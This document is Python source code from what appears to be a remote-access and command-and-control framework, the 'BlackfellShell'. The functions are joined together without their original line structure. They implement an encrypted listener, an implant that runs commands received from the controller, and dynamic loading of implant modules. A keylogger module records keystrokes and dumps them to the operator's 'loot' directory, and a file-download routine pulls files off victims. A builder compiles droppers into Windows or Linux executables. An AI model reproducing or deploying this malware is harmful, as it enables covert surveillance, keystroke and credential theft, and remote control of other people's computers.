def run(self): """The main function called when the module executes""" #Override with what to do with this class when it runs exit_on_exec, LHOST, LPORT, max_conns, LOOT_DIR, name, RSA = [ i['value'] for i in self.options.values() ] l = lnr.BSTCPListener( exit_on_exec, LHOST, LPORT, max_conns, LOOT_DIR, name, RSA) #TODO - put listener resources in the right place! l.start() time.sleep(1.5) #Wait for thread to start if l.success == True: self.root_menu.listeners.append(l) bc.success("Module executed.") else: bc.err( "Run, but success flag not set. Check your listener status!") try: self.root_menu.listeners.append(l) except Exception as e: bc.warn("Could not register listener.") if self.get_option( 'exit_on_exec' ) and l.success: #Add success criteria - we want to stay in if fail return True else: #Also - increment listener ID so we can crank out many more!! self.set_option( 'name', "listener-{}".format(len(self.root_menu.listeners) + 1)) return False
def CRYPTSETUP(self, args=None): """Configure and start the encrypted tunnel with the listener""" try: self.RSA_KEY = RSA.generate(2048) pub_key = self.RSA_KEY.publickey().exportKey() print("DEBUG - generated public key : {}".format(pub_key)) #WE can't use builtin resp() yet because no crypto self.s.send(b64encode(pub_key)) enc_AES = self.s.recv(1024) decryptor = PKCS1_OAEP.new(self.RSA_KEY) self.AES_KEY = decryptor.decrypt(b64decode(enc_AES)) bc.success("Got AES Key : {}".format(self.AES_KEY)) #Destroy RSA Key del (self.RSA_KEY) bc.info("Sending success message!") self.send("success") resp = self.recv(string=True) bc.info("Got success message back off C2, now to test it.") if "success" in resp: bc.success("Cryptsetup success!!") return True else: bc.err("Crypto setup failed, response: {}".format(resp)) raise ValueError("No success message received from listener") except Exception as e: bc.err("Exception setting up crypto : {}.".format(e)) return False
def load_implant_methods(self, mod_spec): """Loads modules into the dropper, converting the dictionaries to strings and sending it down the tunnel as needed""" try: #Go one method at a time, only if a menu method is specified for method in (i for i in mod_spec['methods'] if i['implant']): #bc.blue_print("[-] ", "- Adding method {} to implant {}".format(method['name'], self.name)) #get and import the module to be added import_dict = {method['name'] : ''} filename = mod_spec['load_dir'] + method['implant'] #print("Filename - {}".format(filename)) with open(filename, 'r') as f: #print("Opened file") for line in f: #print(line) import_dict[method['name']] += line #print("open complete : {}".format(import_dict)) #Send it on down for inclusion #print("DEBUG - preparing to send!") self.send('load ' + b64encode(str(import_dict).encode()).decode()) #print("DEBUG - Commadn to send :{}".format(self.command)) #print("DEBUG - sent!") success = self.recv(print_flag=False, string = True) #No printing! #print("Testing {} against {}".format(self.response, 'load complete')) if 'Successfully Loaded' not in success: bc.err_print("[!] ", "- Method {} did not load in {} client side.".format(method['name'], self.name)) else: self.modules[mod_spec['mod_name']]['commands'][method['name']] = method['help'] bc.success("Loaded : {} in {}.".format(method['name'], self.name)) except Exception as e: bc.err_print("[!] ", "- Exception loading implant module:\n\t{}".format(e)) #Clear out the recv_buffer Now time.sleep(1) agent.recv(print_flag=False, blocking=False)
def REGISTER(self): """Gives the agent its name and elicits a response, acts as a general comms check too""" self.send('REGISTER ' + self.name) success = self.recv(print_flag=False, string=True) if not success or (not 'Registered' in success): bc.err("Client side registration failed for : {}\nsucess :{}".format( self.name, success)) else: bc.success("{} Registered.".format(self.name), True)
def ping(self, args=None): """connectivity test between agent and dropper""" if args: self.send('ping ' + str(args)) else: self.send('ping') resp = self.recv(print_flag=False, string=True) if 'PONG' in resp: bc.success("PONG{}- response from {}".format(resp[4:], self.name)) else: bc.err("No PONG from {}\n instead: {}".format(self.name, resp))
def run(self): """The main function called when a dropper runs""" #Retry connections a few times for i in range(self.retries): try: self.connect() bc.success("Connected") #i = self.retries break except Exception as e: bc.err("Could not connect:\n{}.".format(e)) time.sleep(self.retry_wait) continue #Now connected, encrypt: bc.info("Setting up encryption") if not self.CRYPTSETUP(): bc.err("Encryption setup failed. Exiting.") return #Main loop while self.run_flag: bc.info("Loop start - receiving") self.get_command() bc.blue_print("[-] ", "- Implant got: {} : {}".format(self.cmd, self.args)) if self.cmd in self.commands: #if self.args: print("DEBUG - command {} is in the command list. Yay!".format( self.cmd)) if self.args: try: self.commands[self.cmd](self.args) except Exception as e: self.send( "ERROR Exception in Implant (with args) :\n{}". format(e)) self.cmd = '' else: try: self.commands[self.cmd]() except Exception as e: self.send("ERROR Exception in Implant :\n{}".format(e)) self.cmd = '' else: self.send( 'ERROR - Command not recognised: {}'.format(self.cmd + ' ' + self.args)) bc.info("Command complete - main loop over.")
def get_keylog_dump(agent, show=False): """REceive large amounts of keylog data by looping recieve function""" try: #Setup out-file timestamp = time.strftime("-%Y-%m-%d-%H%M%S") file_name = agent.listener.loot_dir + 'keylog' + '-' + agent.name + timestamp + '.txt' #receive the file! raw_bytes = b'' while True: chunk = agent.recv(print_flag=False, blocking=False) try: if not chunk: #bc.info("Empty chunk, passing") continue if chunk.endswith(b'<BSEOF>'): chunk = chunk[:-7] raw_bytes += chunk break elif b'BSEOF' in chunk: bc.err( 'Dump failed, unexpected EOF location in:\n{}.'.format( chunk)) raise ValueError("Out of place <BSEOF>") break #It's all over now else: raw_bytes += chunk #Status info except Exception as e: bc.err( "Keylog dump chunk failed because : {}. Try again?".format( e)) return #gracefully stop download operation finally: chunk = '' #REconstruct the image from raw raw bytes dump = degzip(raw_bytes) with open(file_name, 'w') as f: f.write(dump.decode()) bc.green_print( "\n[+] ", "{} - Keylog dump saved to : {}".format(agent.name, file_name)) if show: bc.success("{} keylog data:\n".format(agent.name), False) print(dump.decode()) return True except Exception as e: bc.err_print("\n[!] ", "{} Keylog dump failed : {}".format(agent.name, e)) return False
def check_key(self): """Check that the shell has an RSA key that can be used in future functionality""" if not os.path.exists(self.global_options['RSA_KEY']): self.generate_key() else: with open(self.global_options['RSA_KEY']) as f: try: key = RSA.import_key(f.read()) bc.success("RSA Key {} valid.".format( self.global_options['RSA_KEY'])) except Exception as e: bc.err("Key: {} not valid : {}".format( self.global_options['RSA_KEY'], e)) self.generate_key()
def run(self): """Main function run when Agent thread is started""" #Initial setup if not self.CRYPTSETUP(): bc.err("Encryption setup failed. Exiting.") self.terminate() return bc.success("Established encrypted session : {}".format(self.name), True) self.REGISTER() #Main loop while True: if self.kill_flag.is_set(): try: self.send('terminate') self.s.shutdown(socket.SHUT_RDWR) except Exception as e: pass #bc.warn("Exception in {} after kill flag set {}.".format(self.name, e)) finally: self.s.close() return if self.active: if not self.send_q.empty(): self.command = self.send_q.get_nowait() #False non blocking #It's hogging CPU, is the queue maybe full of blank strings? if not self.command: time.sleep(0.5) continue self.do_command() #print("DEBUG - Putting {} in the recv q".format(self.response)) #self.recv_q.put(self.response) #actually recieve needs to be managed e.g. file transfers time.sleep(0.5) bc.warn_print("\n[!] ", "- Agent {} terminated.".format(self.name)) return
def __init__(self, exit_on_exec, LHOST, LPORT, max_conns, loot_dir, name, RSA_KEY): #Need to refer to parent menu or module? threading.Thread.__init__(self) self.kill_flag = False #init settings from listener module self.LHOST = LHOST self.LPORT = LPORT self.name = name self.success = False self.max_conns = max_conns self.loot_dir = loot_dir self.RSA_KEY_FILE = RSA_KEY #Listener setup self.recv_q = queue.Queue() self.send_q = queue.Queue() self.command = '' self.RSA_KEY = None self.agent_list = [] self.kill_flag = threading.Event() self.terminate_timeout=3.5 if not os.path.exists(self.loot_dir): os.makedirs(self.loot_dir) bc.success("Created loot directory : {} for {}".format( self.loot_dir, self.name))
def run(self): """Main module code, called when the module is executed This module prints user provided messages to the console""" bc.success("Print incoming!") #Override with what to do with this class when it runs for time in range(self.options['num_prints']['value']): if self.get_option('color') == 'red': bc.err_print(self.options['message']['value'], '') elif self.get_option('color') == 'orange': bc.warn_print(self.options['message']['value'], '') elif self.get_option('color') == 'blue': bc.blue_print(self.options['message']['value'], '') elif self.get_option('color') == 'green': bc.green_print(self.options['message']['value'], '') else: print(self.get_option('message')) #Success variable can be used to check if sub-modules ran successfully #Unused in this case, but important if we don't want to exit failed modules. success = True if bool(self.get_option('exit_on_exec')) == True and success: bc.success("Module executed, exiting.") return True
def main(dropper, args=None): """start, stop, kill, clear and dump key logger and associated data""" #Get settings settings = parse_args(dropper, args) if not settings: bc.err("Error parsing args : {}".format(settings)) return #Settings check if settings['start'] and settings['kill']: bc.warn("Cannot start AND kill at the same time.") dropper.send("ERROR - cannot start and kill simoultaneously") return #If not already created, make some dropper attributes try: print("DEBUG - Checking if required objects exist alread") dropper.keylogger dropper.log_stream logging.info("") print("DEBUG - it all exists!") except: print("DEBUG - they didn't exist...") dropper.keylogger = keyboard.Listener(on_press=on_press, on_release=on_release) dropper.log_stream = StringIO() logging.basicConfig(stream=dropper.log_stream, level=logging.INFO, format="%(message)s") #Start if settings['start'] and not dropper.keylogger.running: dropper.keylogger = keyboard.Listener(on_press=on_press, on_release=on_release) dropper.keylogger.start() dropper.send("Keylogger started in {}, {}".format( dropper.name, dropper.keylogger.running)) return elif settings['start']: dropper.send("ERROR - Cannot start, logger already running") return #Kill if settings['kill'] and not dropper.keylogger.running: dropper.send("ERROR - Cannot stop, logger not yet running : {}".format( dropper.keylogger.running)) return elif settings['kill']: print("DEBUG - Killing Keylogger") dropper.keylogger.stop() dropper.send("Keylogger stopped in {}".format(dropper.name)) return #Dump if settings['dump']: print("Logged data : {}".format(dropper.log_stream.getvalue())) success, message = dump_keylog(dropper) if success: bc.success("Successful keylog dump!") dropper.send("{} : {}".format(dropper.name, message)) else: bc.info("Keylog failed, sending error message.") dropper.send("DUMP failed : {}".format(message)) return #Clear if settings['clear']: print("DEBUG - clearing") if dropper.keylogger.running: dropper.keylogger.stop() print("Logged data pre-clear : {}".format( dropper.log_stream.getvalue())) dropper.log_stream.truncate( 0) #Creating a new stringIO object iddn't seem to work print("Logged data post-clear: {}".format( dropper.log_stream.getvalue())) dropper.keylogger = keyboard.Listener(on_press=on_press, on_release=on_release) dropper.keylogger.start() else: dropper.log_stream.truncate(0) dropper.send("Keylogger buffer cleared in {}".format(dropper.name)) return #Else it was nothing dropper.send("No valid keylogger commands provided.") return
def demo(): """Print a series of demo BShell commands to console""" w, h = os.get_terminal_size() w = 0.9 * w #Scale for beauty bc.info( "The BlackfellShell can be used to run any python module written for it, but the key functionality it allows is running agents." ) time.sleep(5) bc.info("All modules are called using the keyword 'use' like this:") time.sleep(5) print("BS >\r", end="") time.sleep(1) fake_type('BS > ', 'use auxiliary/example') print("") bc.info("Using module: auxiliary/example") print(""" Example module, for use in understanding the BShell. Hello world within the BShell. Prints your message a number of times. num_repeats must be a string. color can be green, red, orange or blue. """) print("BS : " + bc.green_format("modules/auxiliary/example", "") + " >") time.sleep(10) bc.info("Once you've activated a module, you'll switch to a new menu.") time.sleep(2) bc.info("This new menu will allow you to configure and run the module.") time.sleep(2) bc.info("Start by getting module info:") time.sleep(2) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'info') print("") bc.info("Showing info for module:\n") format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w)) #format_string = "{:<20} {:<40} {:<30} {:<10}" underline = "=" * int(w) bc.bold_print( format_string.format("Option", "Value", "Default", "Required?"), "") bc.blue_print(underline, "") printer = [['exit_on_exec', 'True', 'True', 'True'], ['message', 'None', 'None', 'True'], ['num_prints', 'None', 'None', 'True'], ['color', 'None', 'None', 'True']] for p in printer: print(format_string.format(p[0], p[1], p[2], p[3])) print("") time.sleep(5) bc.info("Each option in the module can be set with the 'set' keyword") time.sleep(4) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'set color red') print("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ") time.sleep(4) bc.info("Let's check it made a change.") time.sleep(4) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'info') print("") bc.info("Showing info for module:\n") format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w)) #format_string = "{:<20} {:<40} {:<30} {:<10}" underline = "=" * int(w) bc.bold_print( format_string.format("Option", "Value", "Default", "Required?"), "") bc.blue_print(underline, "") printer = [['exit_on_exec', 'True', 'True', 'True'], ['message', 'None', 'None', 'True'], ['num_prints', 'None', 'None', 'True'], ['color', 'red', 'None', 'True']] for p in printer: print(format_string.format(p[0], p[1], p[2], p[3])) print("") time.sleep(4) bc.info( "If you didn't like that, the reset keyword will set options back to default." ) time.sleep(4) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'reset color') time.sleep(2) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'info') print("") time.sleep(1) bc.info("Showing info for module:\n") format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w)) #format_string = "{:<20} {:<40} {:<30} {:<10}" underline = "=" * int(w) bc.bold_print( format_string.format("Option", "Value", "Default", "Required?"), "") bc.blue_print(underline, "") printer = [['exit_on_exec', 'True', 'True', 'True'], ['message', 'None', 'None', 'True'], ['num_prints', 'None', 'None', 'True'], ['color', 'None', 'None', 'True']] for p in printer: print(format_string.format(p[0], p[1], p[2], p[3])) print("") time.sleep(4) bc.info("You must set all required options.") time.sleep(4) bc.info( "Modules will test for required options, and maybe other things when they run." ) time.sleep(4) bc.info("Let's configure the rest of this module now.") time.sleep(5) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'set message Hello, World.') time.sleep(2) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'set color red') time.sleep(2) bc.info( "You can use tab completion on most settings, just hit tab once you've started typing." ) time.sleep(5) message = "BS : " + bc.green_format("modules/auxiliary/example", "") + " > " for i in 'set nu': message += i print('{}\r'.format(message), end="") time.sleep(0.1) time.sleep(1) print('{}<TAB>\r'.format(message), end="") time.sleep(0.5) print('{}<TAB>\r'.format(message), end="") time.sleep(1) message = message + 'm_prints' print('{}\r'.format(message), end="") time.sleep(4) fake_type(message, ' 8') time.sleep(4) print("") fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'info') print("") time.sleep(1) bc.info("Showing info for module:\n") format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w)) #format_string = "{:<20} {:<40} {:<30} {:<10}" underline = "=" * int(w) bc.bold_print( format_string.format("Option", "Value", "Default", "Required?"), "") bc.blue_print(underline, "") printer = [['exit_on_exec', 'True', 'True', 'True'], ['message', 'Hello, World.', 'None', 'True'], ['num_prints', '8', 'None', 'True'], ['color', 'red', 'None', 'True']] for p in printer: print(format_string.format(p[0], p[1], p[2], p[3])) print("") time.sleep(5) bc.info( "Now you're all configured, you can run the module with the 'execute' keyword" ) time.sleep(5) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'execute') time.sleep(1) bc.info("Setting up module...") bc.success("Setup complete. Executing...") bc.green_print("[-] ", "Print incoming!") for i in range(8): bc.err_print("Hello, World.", "") bc.green_print("[-] ", "Module executed, exiting.") time.sleep(5) bc.info( "Most commands have help messages you can use, just type help in any menu." ) time.sleep(3) bc.success("Good luck!")
def main(agent, file=None): """REquest a file from the dropper, then receive raw data until the dropper sneds an end of file marker. Save to a local timestamped file""" try: if not file: bc.err_print("[!] ", "- Error - no file specified.") return agent.send('download ' + file) bc.info("{} downloading {}".format(agent.name, file)) #Setup file to save here timestamp = time.strftime("-%Y-%m-%d-%H%M%S") if len(file.split('.')) > 1: nm = '.'.join(file.split('.')[:-1]) ext = '.' + '.'.join(file.split('.')[-1:]) else: nm = file ext = '' file_name = agent.listener.loot_dir + nm + ext + '-' + agent.name + timestamp + ext temp_file = agent.listener.loot_dir + agent.name + 'temp.dnld' count = 0 last_completion = 0 tot_bytes = 0 completion = 0 gotsz = False scrn_w, scrn_h = os.get_terminal_size() scrn_w = scrn_w - 7 - 20 #7 less for percentage figures + prompt + slack prnt_str = '{} {} {}%\r'.format('{:>' + str(int(scrn_w)) + '}', '{}', '{}') except Exception as e: bc.err("Exception: {}".format(e)) return with open(file_name, 'wb') as f: while True: try: chunk = agent.recv(print_flag=False, debug=False, string=False, blocking=False) if not chunk: #We're non-blocking, so there may be empty chunks continue if b'File not found' in chunk: bc.err( '{} unable to download, {} file may not exist.'.format( agent.name, file)) return elif not gotsz: size = float(chunk.decode()[8:]) #Get size to print: if size / 1000000000 >= 1: prnt_size = '{} Gb'.format( round((size / 1024000000.0), 1)) elif size / 1000000 >= 1: prnt_size = '{} Mb'.format(round((size / 1024000.0), 1)) elif size / 1000 >= 1: prnt_size = '{} Kb'.format(round((size / 1024.0), 1)) else: prnt_size = '{} byte'.format(size) #Now print it print("") #Neaten output bc.info("{} downloading {} data.".format( agent.name, prnt_size)) gotsz = True elif chunk.endswith(b'<BSEOF>'): chunk = chunk[:-7] f.write( chunk ) # Write those last received bits without the word 'BSEOF' chunk = '' #Because we don't want orphan bits of chunk break else: f.write(chunk) tot_bytes += len(chunk) completion = (tot_bytes / size) * 100 if round(completion, 0) - round(last_completion, 0) >= 1.0: #print("{}% downloaded.".format(int(round(completion, 0)))) #print('{} downloaded {}[%d%%]\r'%int(round(completion, 0)), end="") print('{} downloaded {}%\r'.format( bc.blue_format("[+] ", '- ' + agent.name), int(round(completion, 0))), end="") #print(prnt_str.format( # bc.blue_format("[+] ", '- ' + agent.name), ' downloaded ',int( # round(completion, 0))), end="") #print("Chunks : {}, tot_bytes : {}".format(count, tot_bytes)) last_completion = completion except Exception as e: bc.err( "Download chunk failed because : {}. Try again?".format(e)) clear_pipe = b'' while b'<BSEOF>' not in clear_pipe: clear_pipe = agent.recv(print_flag=False) return #gracefully stop download operation finally: count += 1 chunk = '' print("") bc.success('Download complete: {}'.format(file_name), True)
def run(self): """Main module code, called when the module is executed This module prints user provided messages to the console""" #Override with what to do with this class when it runs exit_on_exec, LHOST, LPORT, listener, out_dir, filename, py2exe, pyinstaller, \ platform, retries = [i['value'] for i in self.options.values() ] #Get code for our dropper and put it in some source files src = [] src.append("print('hello, world')") src.append("from resources.droppers import bs_tcp as d") src.append("drp = d.BSDropper('{}', {})".format(LHOST, LPORT)) src.append("drp.retries = {}".format(retries) ) src.append("drp.run()" ) #Write source file src_filename = self.src_dir + self.get_option('filename') + '.py' #Write source file with open(src_filename, 'w') as s: for line in src: s.write(line + '\n') #Write temp file to work on with open('tmp.py', 'w') as s: for line in src: s.write(line + '\n') #Cross compile options first #Rule out py2exe on linux - not required but belt and braces if py2exe and platform.lower() == 'linux': bc.err("Py2exe does not support Linux. Sorry.") return False #Linux to windows first if sys.platform == 'linux' and platform.lower() == 'windows': if py2exe: if not self.py2exe_linux_2_win(LHOST, LPORT, out_dir, filename): bc.err("Failed to compile with py2exe. Check setup instructions for Wine on Python 3.4") return False else: bc.success("Complied with py2exe!") elif pyinstaller: if not self.pyinstaller_linux_2_win(LHOST, LPORT, out_dir, filename): bc.err("Failed to compile with pyinstaller. Check setup instructions for Wine on Python.") return False else: bc.success("Complied with pyinstaller!") #Now Windows to linux elif sys.platform == 'win32' and platform.lower() == 'linux' and pyinstaller: if pyinstaller: if not self.pyinstaller_win_2_linux(LHOST, LPORT, out_dir, filename): bc.err("Failed to compile with py2exe. Check setup instructions for Ubuntu on WSL.") return False else: bc.success("Complied with pyinstaller!") #Otherwise it's homogeneous compilation elif (sys.platform == 'linux' and platform.lower() == 'linux') or ( sys.platform == 'win32' and platform.lower() == 'windows'): if py2exe and sys.platform == 'windows': if not self.py2exe_same_same(LHOST, LPORT, out_dir, filename): bc.err("Failed to compile with py2exe.") return False else: bc.success("Complied with py2exe!") elif pyinstaller: if not self.pyinstaller_same_same(LHOST, LPORT, out_dir, filename): bc.err("Failed to compile with pyinstaller.") return False else: bc.success("Complied with pyinstaller!") #Maybe there's something else else: bc.err("No valid install options for platform : {}".format(platform)) return False os.remove('tmp.py') #Notify the user what we did. bc.info("Dropper files available at {}".format(self.base_dir)) if self.get_option('exit_on_exec'): #Add success criteria - we want to stay in if fail return True else: return False